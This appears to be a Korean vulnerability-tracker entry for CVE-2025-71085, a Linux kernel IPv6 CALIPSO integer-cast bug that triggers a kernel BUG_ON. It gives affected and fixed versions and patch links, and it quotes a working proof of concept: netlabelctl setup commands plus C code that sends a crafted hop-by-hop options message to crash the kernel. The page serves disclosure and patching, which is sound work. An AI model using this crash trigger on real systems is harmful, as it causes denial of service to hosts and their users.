CVE-2025-71085
- 공개
- 2026년 1월 14일
- 수정
- 2026년 11월 10일
- 조회
- 0
- 상태
- Modified
개요
이 취약점이 무엇인지
In the Linux kernel, the following vulnerability has been resolved:
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).
The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.
Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.
PoC: Using `netlabelctl` tool:
netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
// setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0;
// setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337;
// setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
sendmsg(fd, &msg, 0);
실제 악용 사례 · 아직 확인된 사례가 없어요
CISA의 KEV 카탈로그(실제 공격에 악용된 취약점 목록)에 아직 올라와 있지 않아요. 다만 ‘앞으로도 안전하다’는 뜻은 아니니 심각도와 EPSS를 함께 확인하세요.
패치 현황
어떤 버전이 위험하고, 몇 버전으로 올리면 되는지
| 제품 | 시작 | 끝 | 이 버전 이상으로 | |||
|---|---|---|---|---|---|---|
| linux_kernellinux | 4.8.1 | ≤ | 취약 | < | 5.10.248 | 5.10.248이상 |
| 5.11 | ≤ | 취약 | < | 5.15.198 | 5.15.198이상 | |
| 5.16 | ≤ | 취약 | < | 6.1.160 | 6.1.160이상 | |
| 6.2 | ≤ | 취약 | < | 6.6.120 | 6.6.120이상 | |
| 6.7 | ≤ | 취약 | < | 6.12.64 | 6.12.64이상 | |
| 6.13 | ≤ | 취약 | < | 6.18.4 | 6.18.4이상 | |
| 이 버전만 | 취약 | = | 4.8 | 벤더 공지 확인 | ||
| 이 버전만 | 취약 | = | 6.19 rc1 | 벤더 공지 확인 | ||
| 이 버전만 | 취약 | = | 6.19 rc2 | 벤더 공지 확인 | ||
| 이 버전만 | 취약 | = | 6.19 rc3 | 벤더 공지 확인 | ||
| 이 버전만 | 취약 | = | 6.19 rc4 | 벤더 공지 확인 | ||
| 이 버전만 | 취약 | = | 6.19 rc5 | 벤더 공지 확인 | ||
| 이 버전만 | 취약 | = | 6.19 rc6 | 벤더 공지 확인 | ||
| 이 버전만 | 취약 | = | 6.19 rc7 | 벤더 공지 확인 | ||
| 이 버전만 | 취약 | = | 6.19 rc8 | 벤더 공지 확인 | ||
NVD 분석 기준. 시작과 끝 사이 버전이 취약해요. ‘이 버전 이상으로’는 끝이 ‘<’로 적힌 경우에만 알 수 있어요.
할당 기관(CNA)이 적은 버전 9줄도 보기
| 제품 | 시작 | 끝 | 이 버전 이상으로 | |||
|---|---|---|---|---|---|---|
| LinuxLinux | 이 버전만 | 취약 | = | 4.8 | 벤더 공지 확인 | |
| 최초 버전 | ≤ | 영향 없음 | < | 4.8 | — | |
| 5.10.248 | ≤ | 영향 없음 | ≤ | 5.10.* | — | |
| 5.15.198 | ≤ | 영향 없음 | ≤ | 5.15.* | — | |
| 6.1.160 | ≤ | 영향 없음 | ≤ | 6.1.* | — | |
| 6.6.120 | ≤ | 영향 없음 | ≤ | 6.6.* | — | |
| 6.12.64 | ≤ | 영향 없음 | ≤ | 6.12.* | — | |
| 6.18.4 | ≤ | 영향 없음 | ≤ | 6.18.* | — | |
| 6.19 | ≤ | 영향 없음 | ≤ | 최신 버전 | — | |
참고 링크
NVD에 등록된 외부 자료예요. 익스플로잇·벤더 공지·패치 순으로 먼저 보여줘요.
패치7
- git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1
- git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83
- git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910
- git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570
- git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2